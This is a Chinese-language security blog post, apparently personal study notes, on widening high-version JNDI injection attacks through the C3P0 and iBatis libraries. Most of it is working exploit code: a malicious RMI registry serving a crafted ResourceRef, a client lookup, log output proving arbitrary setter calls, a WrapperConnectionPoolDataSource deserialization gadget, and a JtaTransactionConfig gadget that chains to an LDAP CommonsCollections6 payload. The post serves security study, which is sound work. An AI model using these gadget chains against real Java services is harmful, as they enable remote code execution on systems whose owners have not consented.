前言

学习,类似Tomcat依赖环境下的利用方式,这次学习的是C3P0依赖环境下的利用方式,算是一种拓展攻击面吧。

类似Tomcat环境下的BeanFactory可以调用一个public方法,该环境中的JavaBeanObjectFactory可以调用setter。

此外还需要一个环境ibatis-sqlmap下面的JtaTransactionConfig类,用于嵌套多一层JNDI。


环境搭建

两个依赖:

<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.10.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.ibatis/ibatis-sqlmap -->
<dependency>
  <groupId>org.apache.ibatis</groupId>
  <artifactId>ibatis-sqlmap</artifactId>
  <version>2.3.4.726</version>
</dependency>

C3P0

回忆一下,本地Factory要满足的两个条件:

  • 继承ObjectFactory
  • 存在getObjectInstance方法

然后就可以调用它的getObjectInstance函数。

而C3P0JavaBeanObjectFactory继承自JavaBeanObjectFactory类,其getObjectInstance函数如下:

public Object getObjectInstance(Object refObj, Name name, Context nameCtx, Hashtable env)
throws Exception {
  if (refObj instanceof Reference) {
    Reference ref = (Reference) refObj;
    Map refAddrsMap = new HashMap();
    for (Enumeration e = ref.getAll(); e.hasMoreElements(); ) {
      RefAddr addr = (RefAddr) e.nextElement();
      refAddrsMap.put( addr.getType(), addr );
    }
    Class beanClass = Class.forName( ref.getClassName() );
    Set refProps = null;
    RefAddr refPropsRefAddr = (BinaryRefAddr) refAddrsMap.remove( JavaBeanReferenceMaker.REF_PROPS_KEY );
    if ( refPropsRefAddr != null )
        refProps = (Set) SerializableUtils.fromByteArray( (byte[]) refPropsRefAddr.getContent() );
    Map propMap = createPropertyMap( beanClass, refAddrsMap );
    return findBean( beanClass, propMap, refProps );
  }
  else
      return null;
}

可以看到非常令人激动的函数名称findBean,这个getObjectInstance函数的逻辑看起来就是从ref对象里面取出类名和属性名,再进入findBean函数进行实例化和反射赋值。

再看看这个findBean函数:

protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception {
  Object bean = createBlankInstance( beanClass );
  BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
  PropertyDescriptor[] pds = bi.getPropertyDescriptors();

  for (int i = 0, len = pds.length; i < len; ++i) {
    PropertyDescriptor pd = pds[i];
    String propertyName = pd.getName();
    Object value = propertyMap.get( propertyName );
    Method setter = pd.getWriteMethod();
    if (value != null) {
      if (setter != null)
          setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
      else {
        ...
      }
    }
    ...
  }

  return bean;
}

可以看到createBlankInstance先创建了一个空白的对象:

protected Object createBlankInstance(Class beanClass) throws Exception
{ return beanClass.newInstance(); }

再调用setter,由于setter是按顺序调用的,因此可能导致利用的时候发生一些错误,比如参考文章里调用JdbcRowSetImpl的setter时就因为顺序问题导致发起JNDI连接失败。

发现ResourceRef类无法引入,看起来需要在pom.xml中引入一下Tomcat依赖:

<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>10.1.39</version>
</dependency>

结果发现版本有问题,Tomcat10不能在Java8运行,只能删掉改成从磁盘上的Tomcat引入jar包了。

写一个Test.java用于测试setter调用:

package org.example;

public class Test {
    private String data;

    public void setData(String data) {
        this.data = data;
        System.out.println(data);
    }

    public String getData() {
        return data;
    }
}

搭建一下RMI服务端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.StringRefAddr;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;

public class App 
{
    public static void main( String[] args ) {
        try {
            Registry registry = LocateRegistry.createRegistry(8888);
            ResourceRef resourceRef = c3p0();
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("c3p0", referenceWrapper);
        }catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("Registry运行中......");
    }

    private static ResourceRef c3p0() throws IOException {
        ResourceRef ref = new ResourceRef("org.example.Test",null,"","",true,
                "com.mchange.v2.naming.JavaBeanObjectFactory",null);
        ref.add(new StringRefAddr("data", "Hello, World!"));
        return ref;
    }
}

再启动客户端去连接,在实际应用中,这一步可以通过Fastjson反序列化、JNDI注入等方式来实现:

package org.example;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) {
        try {
            String string = "rmi://localhost:8888/c3p0";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(string);
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动,看到setter正常触发了:

三月 13, 2025 10:08:28 上午 com.mchange.v2.log.MLog 
信息: MLog clients using java 1.4+ standard logging.
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: singleton
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: auth
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory 
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: scope
Hello, World!

通过C3P0依赖,可以按顺序调用setter,一般情况下不会有什么未初始化问题。

WrapperConnectionPoolDataSource

用于开启一个字节流反序列化点,不过JNDI使用LDAP好像就有反序列化功能了。

通过setUserOverridesAsString可以触发反序列化:

private static ResourceRef c3p0() throws IOException {
    ResourceRef ref = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",null,"","",true,
            "com.mchange.v2.naming.JavaBeanObjectFactory",null);
    ref.add(new StringRefAddr("userOverridesAsString", "Hello, World!"));
    return ref;
}

JtaTransactionConfig

用于嵌套多一层JNDI,应用面可能比较窄。

参考文章:

private static ResourceRef jndi() throws IOException {
    ResourceRef ref = new ResourceRef("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
    Properties properties = new Properties();
    properties.put("UserTransaction", "ldap://127.0.0.1:1389/deserialCommonsCollections6");
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(properties);
    byte [] bytes = byteArrayOutputStream.toByteArray();
    ref.add(new BinaryRefAddr("properties", bytes));
    return ref;
}

由于setProperties方法需要的参数properties类型为Properties,因此不能使用StringRefAddr,需要使用RefAddr的另一个实现类BinaryRefAddr。


高版本 jndi 调用 setter 方法拓展攻击面


Web Java JNDI

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2025-24813 Apache Tomcat远程代码执行漏洞
CVE-2024-53677(S2-067)学习